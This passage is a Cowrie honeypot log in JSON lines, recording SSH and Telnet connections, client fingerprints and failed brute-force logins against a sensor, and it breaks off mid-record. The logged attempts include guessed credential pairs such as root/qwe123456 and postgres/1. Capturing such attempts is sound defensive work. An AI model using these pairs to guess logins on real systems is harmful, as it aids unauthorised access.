{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:20.515473Z","src_ip":"45.153.34.114","session":"bd438feb0974","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.373998641967773,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:20.676591Z","src_ip":"74.91.213.120","session":"fe232a155cc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:21.604612Z","src_ip":"45.153.34.114","session":"bd438feb0974","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":40618,"dst_ip":"159.203.135.109","dst_port":23,"session":"671ac649829d","protocol":"telnet","message":"New connection: 74.91.213.120:40618 (159.203.135.109:23) [session: 671ac649829d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:25.574780Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":40630,"dst_ip":"159.203.135.109","dst_port":23,"session":"f99ada41dc74","protocol":"telnet","message":"New connection: 74.91.213.120:40630 (159.203.135.109:23) [session: f99ada41dc74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:27.733633Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":38618,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d81e47697b8","protocol":"ssh","message":"New connection: 45.153.34.114:38618 (159.203.135.109:22) [session: 1d81e47697b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:28.512189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:28.516894Z","src_ip":"45.153.34.114","session":"1d81e47697b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:28.606785Z","src_ip":"45.153.34.114","session":"1d81e47697b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1","message":"login attempt [postgres/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:28.921549Z","src_ip":"45.153.34.114","session":"1d81e47697b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:30.017910Z","src_ip":"45.153.34.114","session":"1d81e47697b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":37702,"dst_ip":"159.203.135.109","dst_port":22,"session":"01b69846e72d","protocol":"ssh","message":"New connection: 45.153.34.114:37702 (159.203.135.109:22) [session: 01b69846e72d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:36.460175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:36.530815Z","src_ip":"45.153.34.114","session":"01b69846e72d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:36.580648Z","src_ip":"45.153.34.114","session":"01b69846e72d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz@WSX","message":"login attempt [root/!qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:36.867346Z","src_ip":"45.153.34.114","session":"01b69846e72d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:37.960774Z","src_ip":"45.153.34.114","session":"01b69846e72d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":52306,"dst_ip":"159.203.135.109","dst_port":23,"session":"edf333f90fec","protocol":"telnet","message":"New connection: 74.91.213.120:52306 (159.203.135.109:23) [session: edf333f90fec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:39.792703Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":52310,"dst_ip":"159.203.135.109","dst_port":23,"session":"29d95ed59b4e","protocol":"telnet","message":"New connection: 74.91.213.120:52310 (159.203.135.109:23) [session: 29d95ed59b4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:39.862269Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":52308,"dst_ip":"159.203.135.109","dst_port":23,"session":"1670d719e5c9","protocol":"telnet","message":"New connection: 74.91.213.120:52308 (159.203.135.109:23) [session: 1670d719e5c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:40.236185Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":52306,"dst_ip":"159.203.135.109","dst_port":22,"session":"911523413230","protocol":"ssh","message":"New connection: 45.153.34.114:52306 (159.203.135.109:22) [session: 911523413230]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:44.469917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:44.473948Z","src_ip":"45.153.34.114","session":"911523413230","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:44.560572Z","src_ip":"45.153.34.114","session":"911523413230","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123456","message":"login attempt [root/qwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:44.834483Z","src_ip":"45.153.34.114","session":"911523413230","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:45.930393Z","src_ip":"45.153.34.114","session":"911523413230","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":52530,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7263e63d81e","protocol":"ssh","message":"New connection: 45.153.34.114:52530 (159.203.135.109:22) [session: d7263e63d81e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:52.530782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:52.535120Z","src_ip":"45.153.34.114","session":"d7263e63d81e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:52.620614Z","src_ip":"45.153.34.114","session":"d7263e63d81e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jamalihassab","password":"123456","message":"login attempt [jamalihassab/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:52.872293Z","src_ip":"45.153.34.114","session":"d7263e63d81e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:53.961118Z","src_ip":"45.153.34.114","session":"d7263e63d81e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.149352550506592,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:56.724012Z","src_ip":"74.91.213.120","session":"671ac649829d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":49410,"dst_ip":"159.203.135.109","dst_port":23,"session":"922426227aa6","protocol":"telnet","message":"New connection: 74.91.213.120:49410 (159.203.135.109:23) [session: 922426227aa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:56.969690Z"}
{"eventid":"cowrie.session.closed","duration":31.1780047416687,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:39:58.911551Z","src_ip":"74.91.213.120","session":"f99ada41dc74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":55084,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9c37ccc28bd","protocol":"ssh","message":"New connection: 45.153.34.114:55084 (159.203.135.109:22) [session: b9c37ccc28bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:00.638997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:00.643586Z","src_ip":"45.153.34.114","session":"b9c37ccc28bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:00.736665Z","src_ip":"45.153.34.114","session":"b9c37ccc28bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amp","password":"amp","message":"login attempt [amp/amp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:01.001428Z","src_ip":"45.153.34.114","session":"b9c37ccc28bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.187.220","src_port":36988,"dst_ip":"159.203.135.109","dst_port":22,"session":"7cd321582122","protocol":"ssh","message":"New connection: 45.61.187.220:36988 (159.203.135.109:22) [session: 7cd321582122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:01.648376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:01.654425Z","src_ip":"45.61.187.220","session":"7cd321582122","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:01.709569Z","src_ip":"45.61.187.220","session":"7cd321582122","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq123456..","message":"login attempt [root/Qq123456..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:01.964972Z","src_ip":"45.61.187.220","session":"7cd321582122","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:02.095176Z","src_ip":"45.153.34.114","session":"b9c37ccc28bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:03.021065Z","src_ip":"45.61.187.220","session":"7cd321582122","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.195.79.219","src_port":47880,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cd6b0620069","protocol":"ssh","message":"New connection: 159.195.79.219:47880 (10.17.0.5:22) [session: 7cd6b0620069]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:05.348802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:05.364601Z","src_ip":"159.195.79.219","session":"7cd6b0620069","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:05.451853Z","src_ip":"159.195.79.219","session":"7cd6b0620069","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sih","message":"login attempt [root/sih] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:05.856025Z","src_ip":"159.195.79.219","session":"7cd6b0620069","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.16.27.190","src_port":36348,"dst_ip":"159.203.135.109","dst_port":22,"session":"51795c072901","protocol":"ssh","message":"New connection: 125.16.27.190:36348 (159.203.135.109:22) [session: 51795c072901]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:06.458778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:40:06.463637Z","src_ip":"125.16.27.190","session":"51795c072901","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521",